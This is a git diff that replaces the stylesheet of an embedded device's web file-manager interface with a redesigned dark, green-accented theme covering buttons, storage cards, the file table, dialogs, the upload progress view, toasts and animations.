diff --git a/embedded_resources/web_interface/index.css b/embedded_resources/web_interface/index.css
index 380fbc9c4..8012ceae0 100644
--- a/embedded_resources/web_interface/index.css
+++ b/embedded_resources/web_interface/index.css
@@ -1,520 +1,557 @@
-:root {
- --color: #ff3ec8;
- --background: #242424;
- --light-color: color-mix(in srgb, var(--color) 20%, gray 20%);
-}
-* {
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box;
- font-family:
- "DejaVu Sans Mono", "Consolas", "Menlo", "Courier New", "Lucida Console",
- monospace;
- color: var(--color);
-}
-html {
- padding: 0;
- margin: 0;
-}
-body {
- background-color: var(--background);
- font-size: 12px;
- padding: 10px;
- margin: 0;
-}
-.ml-10 {
- margin-left: 10px !important;
-}
-.act-browse,
-.btn-action,
-.icon-action,
-.act-edit-file {
- cursor: pointer;
- outline: 0;
-}
-.btn-action {
- border: 1px solid var(--color);
- background-color: transparent;
- padding: 2px 7px;
- text-decoration: none;
- text-align: center;
-}
-.btn-action:hover:not(:disabled),
-.btn-action.active,
-.btn-action:hover:not(:disabled) > *,
-.btn-action.active > * {
- background-color: var(--color);
- color: var(--background);
-}
-.btn-action:disabled {
- filter: brightness(50%);
- cursor: not-allowed;
-}
-.btn-action.btn-default {
- font-weight: bold;
- border: 2px solid var(--color);
- padding: 1px 7px;
-}
-.icon-action {
- border: 0;
- background-color: transparent;
- width: 24px;
- height: 24px;
- padding: 1px;
- margin: 0;
- text-align: center;
- vertical-align: middle;
- display: inline-block;
- position: relative;
- overflow: hidden;
-}
-svg > g,
-svg > path {
- fill: var(--color);
-}
-.icon-action.act-download svg,
-.icon-action.act-download svg > path {
- stroke: var(--color);
- fill: transparent;
-}
-.icon-action:hover {
- background-color: var(--color);
-}
-.icon-action:hover svg > g,
-.icon-action:hover svg > path {
- fill: var(--background);
-}
-.icon-action.act-download:hover svg,
-.icon-action.act-download:hover svg > path {
- stroke: var(--background);
- fill: var(--color);
-}
-.inp-uploader {
- opacity: 0;
- position: absolute;
- cursor: pointer;
- top: 0;
-}
-.container {
- max-width: 800px;
- margin: auto;
- border: 1px solid var(--color);
-}
-.container .header {
- display: flex;
- justify-content: space-between;
- border-bottom: 1px solid var(--color);
- align-items: center;
-}
-.container .header .title {
- padding: 9px 12px;
- cursor: pointer;
- text-align: center;
-}
-.left-part,
-.right-part {
- padding: 4px 6px;
-}
-.left-part {
- border-left: 1px solid var(--color);
- margin-right: auto;
- width: auto;
-}
-.right-part {
- margin-left: auto;
- text-align: right;
-}
-.container .header button {
- margin-top: 2px;
- margin-bottom: 2px;
- width: 100px;
-}
-.container .free-space {
- border-bottom: 1px solid var(--color);
- justify-content: space-between;
- display: flex;
-}
-.container .free-space .block-space {
- width: 50%;
- border: 0px;
- border-right: 1px solid var(--color);
- padding: 5px;
- white-space: normal;
- word-wrap: break-word;
- overflow: visible;
-}
-.container .free-space .block-space:last-child {
- border: 0px;
-}
-.container .action-content {
- padding: 5px;
- border-bottom: 1px solid var(--color);
- display: flex;
- justify-content: space-between;
- align-items: center;
-}
-.container .action-content .breadcrumb {
- display: flex;
- align-items: center;
- gap: 5px;
-}
-.container .content .table {
- width: 100%;
- border: 0px;
- border-collapse: collapse;
- table-layout: fixed;
-}
-.container .content .table .col-name {
- white-space: nowrap;
- overflow: hidden;
- text-overflow: ellipsis;
-}
-.container .content .table .col-size {
- width: 90px;
- text-align: right;
-}
-.container .content .table .col-action {
- width: 130px;
- text-align: right;
-}
-.container .content .table tbody tr td {
- padding: 5px;
- height: 34px;
-}
-.container .content .table tbody tr:hover {
- background-color: var(--light-color);
-}
-.container .content .table thead tr th {
- border-bottom: 1px solid var(--color);
- font-weight: bold;
- font-size: 14px;
- padding: 5px;
-}
-.table .col-action.type-folder .act-download,
-.table .col-action .act-play {
- display: none;
-}
-.table .col-action.executable .act-play {
- display: inherit;
-}
-.dialog-background {
- position: fixed;
- top: 0;
- left: 0;
- width: 100%;
- height: 100%;
- background-color: rgba(0, 0, 0, 0.8);
- display: flex;
- justify-content: center;
- align-items: center;
- padding: 10px;
-}
-.dialog {
- border: 1px solid var(--color);
- min-width: 250px;
- max-width: 400px;
- background-color: var(--background);
-}
-.dialog .dialog-head {
- border-bottom: 1px solid var(--color);
- padding: 5px 10px;
- font-size: 14px;
- font-weight: bold;
- align-items: center;
- display: flex;
- gap: 5px;
-}
-.dialog .dialog-head span {
- display: inline-block;
-}
-.dialog .dialog-body {
- padding: 10px;
-}
-.dialog .dialog-body p:first-child {
- margin-top: 0;
-}
-.dialog .dialog-body input {
- display: block;
- min-width: 300px;
- width: 100%;
- border: 1px solid var(--color);
- background-color: var(--background);
- outline: 0px;
- padding: 2px 4px;
-}
-.dialog .dialog-footer {
- padding: 10px;
- border-top: 1px solid var(--color);
- text-align: right;
-}
-.dialog.navigator {
- max-width: 500px;
-}
-.dialog.navigator .dialog-head {
- display: flex;
- justify-content: space-between;
- padding-right: 5px;
-}
-.dialog.navigator .dialog-head select {
- background-color: var(--background);
- padding: 1px;
- border: 1px solid var(--color);
-}
-.dialog.navigator .dialog-body {
- display: flex;
- flex-wrap: wrap;
- justify-content: center;
- align-items: center;
- gap: 10px;
-}
-.dialog.navigator #navigator-screen {
- border: 1px solid var(--color);
- border-radius: 3px;
-}
-.dialog.navigator .navigator-canvas {
- position: relative;
- display: flex;
- flex-direction: column;
- gap: 1px;
- border: 1px solid var(--color);
- border-radius: 3px;
- /* background-color: var(--color); */
-}
-.dialog.navigator .navigator-canvas > div {
- display: flex;
- flex-direction: row;
- justify-content: center;
- gap: 1px;
-}
-.dialog.navigator .navigator-canvas .nav {
- width: 38px;
- height: 38px;
- border-radius: 3px;
- padding: 0;
- display: flex;
- align-items: center;
- justify-content: center;
- cursor: pointer;
- background: var(--background);
-}
-.dialog.navigator .navigator-canvas .nav.nav-ok:before {
- content: "";
- width: 16px;
- height: 16px;
- display: inline-block;
- background-color: var(--color);
- border-radius: 100%;
-}
-.dialog.navigator .navigator-canvas .nav.nav-page-up svg {
- transform: rotate(-90deg);
-}
-.dialog.navigator .navigator-canvas .nav.nav-page-down svg {
- transform: rotate(90deg);
-}
-.dialog.navigator .navigator-canvas .nav.nav-down svg {
- transform: rotate(180deg);
-}
-.dialog.navigator .navigator-canvas .nav.nav-left svg {
- transform: rotate(-90deg);
-}
-.dialog.navigator .navigator-canvas .nav.nav-right svg {
- transform: rotate(90deg);
-}
-.dialog.navigator .navigator-canvas .nav:hover {
- color: var(--background);
- background: var(--color);
-}
-.dialog.navigator .navigator-canvas .nav:hover svg path,
-.dialog.navigator .navigator-canvas .nav:hover svg line {
- color: var(--background);
- fill: var(--background);
-}
-.dialog.navigator .navigator-canvas .nav:hover svg circle {
- stroke: var(--background);
-}
-.dialog.navigator .navigator-canvas .nav.nav-ok:hover:before {
- background-color: var(--background);
-}
-.dialog.navigator .navigator-warning {
- width: 100%;
- padding: 8px;
- margin-bottom: 5px;
- background-color: rgba(255, 165, 0, 0.15);
- border: 1px solid orange;
- border-radius: 3px;
- text-align: center;
- font-size: 11px;
- color: orange;
-}
-.dialog.navigator .navigator-warning.hidden {
- display: none;
-}
-.dialog.status .dialog-body {
- padding: 10px 0;
- text-align: center;
-}
-.dialog.settings .dialog-body {
- display: flex;
- flex-direction: column;
- gap: 5px;
-}
-.dialog.settings .dialog-body .btn-action {
- display: block;
- padding: 6px 5px;
-}
-.dialog.editor {
- width: 100%;
- max-width: 100%;
- height: 100%;
-}
-.dialog.editor .dialog-body {
- width: 100%;
- height: calc(100% - 70px);
- padding: 0;
- overflow: hidden;
-}
-.dialog.editor .editor-container {
- display: flex;
- width: 100%;
- height: 100%;
- background-color: var(--background);
- font-family:
- "DejaVu Sans Mono", "Consolas", "Menlo", "Courier New", "Lucida Console",
- monospace;
- font-size: 14px;
- line-height: 1.4;
-}
-.dialog.editor .line-numbers {
- background-color: color-mix(in srgb, var(--background) 95%, var(--color) 5%);
- border-right: 1px solid var(--light-color);
- color: var(--light-color);
- padding: 7px 8px;
- text-align: right;
- user-select: none;
- white-space: pre;
- overflow: hidden;
-}
-.dialog.editor .file-content {
- flex: 1;
- background-color: var(--background);
- border: 0;
- padding: 5px;
- outline: 0;
- resize: none;
- font-family:
- "DejaVu Sans Mono", "Consolas", "Menlo", "Courier New", "Lucida Console",
- monospace;
- font-size: 14px;
- line-height: 1.4;
- white-space: pre;
- overflow-wrap: normal;
- overflow: auto;
-}
-.dialog.upload .dialog-body {
- padding: 10px;
-}
-.dialog.upload .upload-loading {
- width: 350px;
- border: 1px solid var(--color);
- margin-bottom: 5px;
- position: relative;
- padding: 3px 7px;
-}
-.dialog.upload .dialog-body .upload-loading:last-child {
- margin-bottom: 0;
-}
-.dialog.upload .upload-loading .bar {
- width: 0;
- background-color: var(--light-color);
- position: absolute;
- top: 0;
- bottom: 0;
- left: 0;
- z-index: 1;
-}
-.dialog.upload .upload-loading .upload-name {
- z-index: 2;
- position: relative;
- font-weight: bold;
-}
-.hidden {
- display: none !important;
-}
-.upload-area,
-.loading-area {
- position: fixed;
- top: 0;
- left: 0;
- background-color: rgba(0, 0, 0, 0.8);
- width: 100%;
- height: 100%;
- display: flex;
- justify-content: center;
- align-items: center;
-}
-.upload-area::before {
- content: "Drop files here to upload them to current folder";
- border: 3px dashed var(--color);
- background-color: var(--background);
- font-size: 24px;
- padding: 20px;
- height: 300px;
- width: 300px;
- text-align: center;
- font-weight: bold;
- vertical-align: center;
- display: flex;
- align-items: center;
-}
-.loading-area .text {
- color: var(--color);
- border: 1px solid var(--color);
- padding: 10px 20px;
- min-width: 250px;
- text-align: center;
- max-width: 350px;
- background-color: var(--background);
-}
-.oinput-file-name {
- white-space: nowrap;
- overflow: hidden;
- text-overflow: ellipsis;
- max-width: 250px;
-}
-.dialog.navigator .dialog-head div {
- display: flex;
- gap: 5px;
-}
-::selection {
- background: var(--color);
- color: var(--background);
-}
-#force-reload,
-#refresh-folder {
- padding: 0;
- height: 21px;
- display: flex;
- width: 21px;
- justify-content: center;
- align-items: center;
- border: 0;
-}
-#force-reload svg path,
-#refresh-folder svg path {
- fill: var(--background);
-}
-#force-reload:hover svg path,
-#refresh-folder:hover svg path {
- fill: var(--color);
- stroke: var(--background);
-}
-#force-reload.reloading svg path,
-#refresh-folder.reloading svg path {
- animation: rotation 1s linear infinite;
- transform-origin: 50% 50%;
-}
-@keyframes rotation {
- 100% {
- transform: rotate(360deg);
- }
-}
+:root {
+ --color: #10b981;
+ --sec-color: #34d399;
+ --background: #09090b;
+ --surface: #111113;
+ --surface-2: #18181b;
+ --surface-hover: #1e1e22;
+ --border: #1e1e22;
+ --border-light: #2a2a30;
+ --text: #ececef;
+ --text-sec: #a1a1aa;
+ --text-muted: #52525b;
+ --danger: #ef4444;
+ --danger-hover: #dc2626;
+ --radius: 8px;
+ --radius-lg: 12px;
+ --radius-xl: 16px;
+ --tr: 150ms ease;
+ --shadow-sm: 0 1px 2px rgba(0,0,0,.3);
+ --shadow-md: 0 4px 12px rgba(0,0,0,.4);
+ --shadow-lg: 0 12px 40px rgba(0,0,0,.5);
+ --icon-sm: 16px;
+ --icon-md: 18px;
+}
+*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
+html { padding: 0; margin: 0; }
+body {
+ background: var(--background);
+ color: var(--text);
+ font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
+ font-size: 14px;
+ min-height: 100vh;
+ line-height: 1.5;
+}
+::-webkit-scrollbar { width: 5px; height: 5px; }
+::-webkit-scrollbar-track { background: transparent; }
+::-webkit-scrollbar-thumb { background: var(--border-light); border-radius: 3px; }
+::-webkit-scrollbar-thumb:hover { background: var(--text-muted); }
+::selection { background: var(--color); color: var(--background); }
+a { color: var(--color); text-decoration: none; }
+a:hover { text-decoration: underline; }
+
+.app { max-width: 940px; margin: 0 auto; padding: 20px 16px; }
+
+/* Header */
+.header {
+ display: flex; align-items: center; justify-content: space-between;
+ padding: 12px 0; margin-bottom: 20px; border-bottom: 1px solid var(--border);
+ gap: 12px;
+}
+.header-left { display: flex; align-items: center; flex-shrink: 0; }
+.logo { cursor: pointer; display: flex; align-items: center; gap: 10px; }
+.logo-text {
+ font-size: 22px; font-weight: 800; color: var(--text);
+ letter-spacing: -0.5px; font-family: 'Segoe UI', system-ui, sans-serif;
+}
+.bruce-version {
+ font-size: 10px; color: var(--text-muted); background: var(--surface-2);
+ padding: 2px 10px; border-radius: 20px; border: 1px solid var(--border);
+ letter-spacing: .3px; line-height: 1.4;
+}
+.header-nav { display: flex; gap: 6px; align-items: center; }
+.mobile-menu-btn { display: none !important; }
+
+/* Buttons */
+.btn {
+ display: inline-flex; align-items: center; gap: 6px;
+ padding: 7px 14px; border-radius: var(--radius);
+ border: 1px solid var(--border); background: var(--surface);
+ color: var(--text); font-size: 13px; font-family: inherit;
+ cursor: pointer; transition: all var(--tr); white-space: nowrap;
+ line-height: 1.4;
+}
+.btn:hover { background: var(--surface-hover); border-color: var(--border-light); transform: translateY(-1px); }
+.btn:active { transform: translateY(0); transition-duration: 50ms; }
+.btn-primary { background: var(--color); color: #000; border-color: var(--color); font-weight: 600; }
+.btn-primary:hover { background: var(--sec-color); border-color: var(--sec-color); }
+.btn-danger { color: var(--danger); border-color: rgba(239,68,68,.3); background: transparent; }
+.btn-danger:hover { background: rgba(239,68,68,.08); border-color: var(--danger); }
+.btn-ghost { border-color: transparent; background: transparent; }
+.btn-ghost:hover { background: var(--surface-2); border-color: var(--border); }
+.btn-sm { padding: 5px 10px; font-size: 12px; }
+.btn:disabled { opacity: .4; cursor: not-allowed; transform: none !important; }
+.btn svg { width: var(--icon-sm); height: var(--icon-sm); flex-shrink: 0; }
+
+.btn-icon {
+ display: inline-flex; align-items: center; justify-content: center;
+ width: 34px; height: 34px; border-radius: var(--radius);
+ border: 1px solid var(--border); background: var(--surface);
+ color: var(--text); cursor: pointer; transition: all var(--tr);
+ position: relative; overflow: hidden; flex-shrink: 0;
+}
+.btn-icon:hover { background: var(--surface-hover); border-color: var(--border-light); }
+.btn-icon:active { transform: scale(.93); transition-duration: 50ms; }
+.btn-icon svg { width: var(--icon-sm); height: var(--icon-sm); }
+
+/* Storage */
+.storage-section { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; margin-bottom: 20px; }
+.storage-card {
+ display: flex; align-items: center; gap: 14px;
+ padding: 14px 16px; background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius-lg); cursor: pointer; transition: all var(--tr);
+ min-height: 72px;
+}
+.storage-card:hover { border-color: var(--border-light); transform: translateY(-1px); box-shadow: var(--shadow-sm); }
+.storage-card.active { border-color: var(--color); background: color-mix(in srgb, var(--color) 4%, var(--surface)); }
+.storage-icon {
+ display: flex; align-items: center; justify-content: center;
+ width: 40px; height: 40px; flex-shrink: 0;
+ border-radius: 10px; background: var(--surface-2); border: 1px solid var(--border);
+ color: var(--text-sec); transition: all var(--tr);
+}
+.storage-card:hover .storage-icon { color: var(--text); }
+.storage-card.active .storage-icon { color: var(--color); background: color-mix(in srgb, var(--color) 10%, var(--surface-2)); border-color: color-mix(in srgb, var(--color) 20%, var(--border)); }
+.storage-icon svg { width: 20px; height: 20px; }
+.storage-detail { flex: 1; min-width: 0; }
+.storage-info { display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px; }
+.storage-name { font-weight: 600; font-size: 13px; color: var(--text); }
+.storage-usage { font-size: 11px; color: var(--text-sec); font-family: 'Consolas', 'Fira Code', monospace; }
+.storage-bar { height: 4px; background: var(--surface-2); border-radius: 3px; overflow: hidden; }
+.storage-fill {
+ height: 100%; background: var(--color); border-radius: 3px;
+ transition: width .6s cubic-bezier(.4,0,.2,1); width: 0;
+}
+
+/* Toolbar */
+.toolbar {
+ display: flex; align-items: center; justify-content: space-between;
+ gap: 12px; padding: 10px 0; margin-bottom: 12px; border-bottom: 1px solid var(--border);
+}
+.toolbar-left { display: flex; align-items: center; gap: 8px; min-width: 0; flex: 1; }
+.toolbar-right { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; justify-content: flex-end; }
+.breadcrumb { display: flex; align-items: center; gap: 4px; min-width: 0; }
+.current-path { font-size: 13px; color: var(--text-sec); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; font-family: 'Consolas', 'Fira Code', monospace; }
+.toolbar-divider { width: 1px; height: 20px; background: var(--border); margin: 0 2px; }
+.search-wrapper { position: relative; }
+.search-wrapper svg {
+ position: absolute; left: 9px; top: 50%; transform: translateY(-50%);
+ width: 14px; height: 14px; color: var(--text-muted); pointer-events: none;
+}
+.search-input {
+ background: var(--surface); border: 1px solid var(--border); border-radius: var(--radius);
+ padding: 6px 10px 6px 30px; color: var(--text); font-size: 13px; font-family: inherit;
+ width: 160px; outline: none; transition: all var(--tr);
+}
+.search-input:focus { border-color: var(--color); width: 200px; }
+.search-input::placeholder { color: var(--text-muted); }
+.inp-uploader { opacity: 0; position: absolute; cursor: pointer; top: 0; left: 0; width: 100%; height: 100%; }
+
+/* Multi-select bar */
+.multi-bar {
+ display: flex; align-items: center; justify-content: space-between;
+ padding: 8px 14px; background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius); margin-bottom: 8px; animation: slideDown .2s ease;
+}
+.multi-bar-left { display: flex; align-items: center; gap: 12px; }
+.multi-bar-right { display: flex; align-items: center; gap: 8px; }
+#selected-count { font-size: 13px; color: var(--text-sec); font-weight: 500; }
+
+/* Content / File Table */
+.content {
+ background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius-lg); overflow: hidden;
+}
+.table { width: 100%; border-collapse: collapse; table-layout: fixed; }
+.table thead th {
+ padding: 10px 14px; text-align: left; font-size: 11px; font-weight: 600;
+ color: var(--text-muted); text-transform: uppercase; letter-spacing: .5px;
+ border-bottom: 1px solid var(--border); user-select: none;
+}
+.table thead th.sortable { cursor: pointer; }
+.table thead th.sortable:hover { color: var(--text-sec); }
+.sort-icon { font-size: 10px; margin-left: 2px; opacity: .5; }
+.table tbody tr { transition: background var(--tr); border-bottom: 1px solid var(--border); }
+.table tbody tr:last-child { border-bottom: none; }
+.table tbody tr:hover { background: var(--surface-hover); }
+.table tbody tr.selected { background: color-mix(in srgb, var(--color) 6%, var(--surface)); }
+.table tbody td { padding: 7px 14px; font-size: 13px; }
+.col-check { width: 42px; text-align: center; }
+.col-name { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+.col-size { width: 110px; text-align: right; color: var(--text-sec); font-size: 12px; font-family: 'Consolas', monospace; }
+.col-action { width: 140px; text-align: right; white-space: nowrap; }
+.col-name.act-browse, .col-name.act-edit-file { cursor: pointer; transition: color var(--tr); }
+.col-name.act-browse:hover, .col-name.act-edit-file:hover { color: var(--color); }
+.path-row td { cursor: pointer; color: var(--text-muted); font-size: 13px; }
+.path-row:hover td { color: var(--text); }
+.col-action .btn-icon { width: 28px; height: 28px; border: none; background: transparent; }
+.col-action .btn-icon:hover { background: var(--surface-2); }
+.col-action .btn-icon svg { width: var(--icon-sm); height: var(--icon-sm); }
+.table .col-action.type-folder .act-download,
+.table .col-action .act-play { display: none; }
+.table .col-action.executable .act-play { display: inline-flex; }
+
+/* Checkboxes */
+input[type="checkbox"] {
+ -webkit-appearance: none; appearance: none;
+ width: 16px; height: 16px; border: 1.5px solid var(--border-light);
+ border-radius: 4px; background: var(--surface); cursor: pointer;
+ transition: all var(--tr); position: relative; vertical-align: middle;
+ flex-shrink: 0;
+}
+input[type="checkbox"]:hover { border-color: var(--text-muted); }
+input[type="checkbox"]:checked { background: var(--color); border-color: var(--color); }
+input[type="checkbox"]:checked::after {
+ content: ''; position: absolute; top: 2px; left: 5px;
+ width: 4px; height: 8px; border: solid #000; border-width: 0 2px 2px 0;
+ transform: rotate(45deg);
+}
+
+/* Dialogs */
+.dialog-background {
+ position: fixed; inset: 0; background: rgba(0,0,0,.6);
+ -webkit-backdrop-filter: blur(8px); backdrop-filter: blur(8px);
+ display: flex; justify-content: center; align-items: center;
+ padding: 16px; z-index: 1000;
+ opacity: 0; pointer-events: none; transition: opacity .2s ease;
+}
+.dialog-background.visible { opacity: 1; pointer-events: all; }
+.dialog {
+ background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius-xl); width: 100%; max-width: 420px;
+ transform: scale(.96) translateY(8px); opacity: 0;
+ transition: all .25s cubic-bezier(.4,0,.2,1); overflow: hidden;
+ box-shadow: var(--shadow-lg);
+}
+.dialog-background.visible .dialog:not(.hidden) {
+ transform: scale(1) translateY(0); opacity: 1;
+}
+.dialog-head {
+ padding: 16px 20px; font-size: 15px; font-weight: 600;
+ border-bottom: 1px solid var(--border);
+ display: flex; align-items: center; gap: 8px;
+}
+.dialog-body { padding: 16px 20px; }
+.dialog-body p { color: var(--text-sec); line-height: 1.65; margin-bottom: 8px; }
+.dialog-body p:last-child { margin-bottom: 0; }
+.dialog-footer {
+ padding: 12px 20px; border-top: 1px solid var(--border);
+ display: flex; justify-content: flex-end; gap: 8px;
+}
+.dialog-body input[type="text"],
+.dialog-body input[type="password"] {
+ width: 100%; padding: 9px 12px; background: var(--background);
+ border: 1px solid var(--border); border-radius: var(--radius);
+ color: #fff; font-size: 13px; font-family: inherit;
+ outline: none; transition: border-color var(--tr);
+}
+.dialog-body input:focus { border-color: var(--color); }
+.dialog-body label {
+ display: block; font-size: 12px; color: var(--text-sec);
+ margin-bottom: 6px; font-weight: 500;
+}
+
+/* Navigator */
+.dialog.navigator { max-width: 520px; }
+.dialog.navigator .dialog-head { display: flex; justify-content: space-between; padding-right: 16px; }
+.dialog.navigator .dialog-head > div { display: flex; gap: 6px; align-items: center; }
+.dialog.navigator .dialog-head select {
+ background: var(--background); color: var(--text);
+ border: 1px solid var(--border); border-radius: var(--radius);
+ padding: 5px 10px; font-size: 12px; font-family: inherit; outline: none;
+}
+.dialog.navigator .dialog-body {
+ display: flex; flex-wrap: wrap; justify-content: center;
+ align-items: center; gap: 14px;
+}
+#navigator-screen { border: 1px solid var(--border); border-radius: var(--radius); }
+.navigator-canvas {
+ display: flex; flex-direction: column; gap: 3px;
+ border: 1px solid var(--border); border-radius: var(--radius); padding: 3px;
+}
+.navigator-canvas > div { display: flex; justify-content: center; gap: 3px; }
+.nav {
+ width: 44px; height: 44px; border-radius: 10px;
+ display: flex; align-items: center; justify-content: center;
+ cursor: pointer; background: var(--surface-2); border: 1px solid var(--border);
+ transition: all var(--tr); color: var(--text);
+}
+.nav:hover { background: var(--color); color: #000; border-color: var(--color); }
+.nav:active { transform: scale(.9); transition-duration: 50ms; }
+.nav:hover svg path, .nav:hover svg line, .nav:hover svg polyline,
+.nav:hover svg polygon { stroke: #000; color: #000; }
+.nav:hover svg circle { stroke: #000; }
+.nav.nav-ok { position: relative; }
+.nav.nav-ok::before {
+ content: ''; width: 18px; height: 18px;
+ background: var(--color); border-radius: 50%; display: block;
+}
+.nav.nav-ok:hover::before { background: #000; }
+.nav-left svg { transform: rotate(-90deg); }
+.nav-right svg { transform: rotate(90deg); }
+.nav-down svg { transform: rotate(180deg); }
+.nav-page-up svg { transform: rotate(-90deg); }
+.nav-page-down svg { transform: rotate(90deg); }
+
+/* Editor */
+.dialog.editor { width: 100%; max-width: 100%; height: 100%; border-radius: 0; max-height: none; }
+.dialog.editor .dialog-body { height: calc(100% - 110px); padding: 0; overflow: hidden; }
+.editor-container { display: flex; width: 100%; height: 100%; }
+.line-numbers {
+ background: var(--background); border-right: 1px solid var(--border);
+ color: var(--text-muted); padding: 10px 10px; text-align: right;
+ user-select: none; white-space: pre; overflow: hidden;
+ font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace;
+ font-size: 13px; line-height: 1.5; min-width: 50px;
+}
+.file-content {
+ flex: 1; background: var(--background); border: none;
+ padding: 10px; color: var(--text); outline: none; resize: none;
+ font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace;
+ font-size: 13px; line-height: 1.5; white-space: pre; overflow: auto;
+}
+
+/* Settings */
+.dialog.settings .dialog-body { display: flex; flex-direction: column; gap: 8px; }
+.dialog.settings .btn { width: 100%; justify-content: center; padding: 10px; }
+
+/* Upload */
+.dialog.upload { max-width: 520px; }
+.dialog.upload .dialog-head { display: flex; justify-content: space-between; align-items: center; }
+.upload-counter { font-size: 12px; font-weight: 600; color: var(--color); letter-spacing: .3px; }
+.upload-stats { padding: 0 20px 8px; }
+.upload-overall-bar {
+ height: 6px; background: var(--border); border-radius: 3px; overflow: hidden;
+}
+.upload-overall-fill {
+ height: 100%; width: 0; background: var(--color); border-radius: 3px;
+ transition: width .3s ease;
+}
+.upload-meta {
+ display: flex; justify-content: space-between; margin-top: 6px;
+ font-size: 11px; color: var(--text-sec);
+}
+.dialog.upload .dialog-body {
+ max-height: 280px; overflow-y: auto; display: flex; flex-direction: column; gap: 5px;
+ padding-top: 4px;
+}
+.upload-loading {
+ position: relative; padding: 8px 12px;
+ border: 1px solid var(--border); border-radius: var(--radius);
+ overflow: hidden; display: flex; align-items: center; gap: 8px;
+ transition: border-color .3s ease;
+}
+.upload-loading.done { border-color: color-mix(in srgb, var(--color) 40%, transparent); }
+.upload-loading.error { border-color: #ef4444; }
+.upload-loading .bar {
+ position: absolute; inset: 0; right: auto; width: 0;
+ background: color-mix(in srgb, var(--color) 12%, transparent);
+ transition: width .3s ease; z-index: 0;
+}
+.upload-loading.done .bar { background: color-mix(in srgb, var(--color) 8%, transparent); width: 100% !important; }
+.upload-loading.error .bar { background: rgba(239,68,68,.08); width: 100% !important; }
+.upload-status {
+ position: relative; z-index: 1; flex-shrink: 0; width: 16px; height: 16px;
+ display: flex; align-items: center; justify-content: center;
+}
+.upload-status .dot {
+ width: 6px; height: 6px; border-radius: 50%; background: var(--text-muted);
+}
+.upload-loading.active .upload-status .dot {
+ background: var(--color); animation: pulse 1s ease-in-out infinite;
+}
+.upload-loading.done .upload-status .dot { background: var(--color); width: 8px; height: 8px; }
+.upload-loading.error .upload-status .dot { background: #ef4444; width: 8px; height: 8px; }
+.upload-name { position: relative; z-index: 1; font-size: 11px; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; flex: 1; }
+.upload-pct { position: relative; z-index: 1; font-size: 10px; color: var(--text-sec); flex-shrink: 0; min-width: 32px; text-align: right; }
+.upload-pages {
+ display: flex; align-items: center; justify-content: center; gap: 12px;
+ padding: 8px 20px 16px; font-size: 12px; color: var(--text-sec);
+}
+.upload-pages .btn-icon { width: 28px; height: 28px; }
+.upload-pages .btn-icon:disabled { opacity: .3; cursor: default; }
+
+/* Credential */
+.dialog.credential .dialog-body > label { margin-top: 12px; }
+.dialog.credential .dialog-body > label:first-child { margin-top: 0; }
+
+/* Loading */
+.loading-area {
+ position: fixed; inset: 0; background: rgba(0,0,0,.7);
+ -webkit-backdrop-filter: blur(4px); backdrop-filter: blur(4px);
+ display: flex; flex-direction: column; justify-content: center;
+ align-items: center; gap: 14px; z-index: 2000;
+}
+.spinner {
+ width: 28px; height: 28px; border: 2.5px solid var(--border);
+ border-top-color: var(--color); border-radius: 50%;
+ animation: spin .7s linear infinite;
+}
+.loading-area .text { color: var(--text-sec); font-size: 13px; }
+
+/* Upload Drop */
+.upload-area {
+ position: fixed; inset: 0; background: rgba(0,0,0,.8);
+ display: flex; justify-content: center; align-items: center; z-index: 3000;
+}
+.upload-area::before {
+ content: 'Drop files here to upload';
+ border: 2px dashed var(--color); background: var(--surface);
+ font-size: 18px; font-weight: 600; padding: 48px 64px;
+ border-radius: var(--radius-xl); color: var(--text);
+ display: flex; align-items: center; justify-content: center;
+ animation: pulse 1.5s ease-in-out infinite;
+ box-shadow: var(--shadow-lg);
+}
+
+/* Toast */
+.toast-container {
+ position: fixed; top: 16px; right: 16px;
+ display: flex; flex-direction: column; gap: 8px;
+ z-index: 5000; pointer-events: none;
+}
+.toast {
+ padding: 10px 16px; background: var(--surface); border: 1px solid var(--border);
+ border-radius: var(--radius-lg); font-size: 13px; pointer-events: all;
+ animation: toastIn .3s ease; box-shadow: var(--shadow-lg);
+ display: flex; align-items: center; gap: 10px; max-width: 380px;
+ color: var(--text);
+}
+.toast.success { border-left: 3px solid var(--color); }
+.toast.error { border-left: 3px solid var(--danger); }
+.toast.removing { animation: toastOut .2s ease forwards; }
+
+/* Empty state */
+.empty-state { text-align: center; padding: 48px 20px; color: var(--text-muted); }
+.empty-state p { font-size: 14px; }
+
+/* Hidden */
+.hidden { display: none !important; }
+
+/* Animations */
+@keyframes spin { to { transform: rotate(360deg); } }
+@keyframes slideDown { from { opacity: 0; transform: translateY(-8px); } to { opacity: 1; transform: translateY(0); } }
+@keyframes toastIn { from { opacity: 0; transform: translateX(24px); } to { opacity: 1; transform: translateX(0); } }
+@keyframes toastOut { to { opacity: 0; transform: translateX(24px); } }
+@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: .7; } }
+@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
+
+.reloading svg { animation: spin .7s linear infinite; }
+
+/* Navigator shortcuts */
+.dialog.navigator-shortcut ul { list-style: none; padding: 0; }
+.dialog.navigator-shortcut li {
+ padding: 6px 0; color: var(--text-sec); font-size: 13px;
+ border-bottom: 1px solid var(--border); display: flex; justify-content: space-between;
+}
+.dialog.navigator-shortcut li:last-child { border-bottom: none; }
+.dialog.navigator-shortcut li kbd {
+ background: var(--surface-2); border: 1px solid var(--border);
+ padding: 1px 8px; border-radius: 4px; font-size: 12px; font-family: monospace;
+}
+.dialog.navigator-shortcut p { color: var(--text-sec); margin-bottom: 10px; font-size: 13px; }
+
+/* SVG defaults */
+svg { flex-shrink: 0; }
+
+/* Info dialog */
+.dialog.info .dialog-body { max-height: 300px; overflow-y: auto; }
+
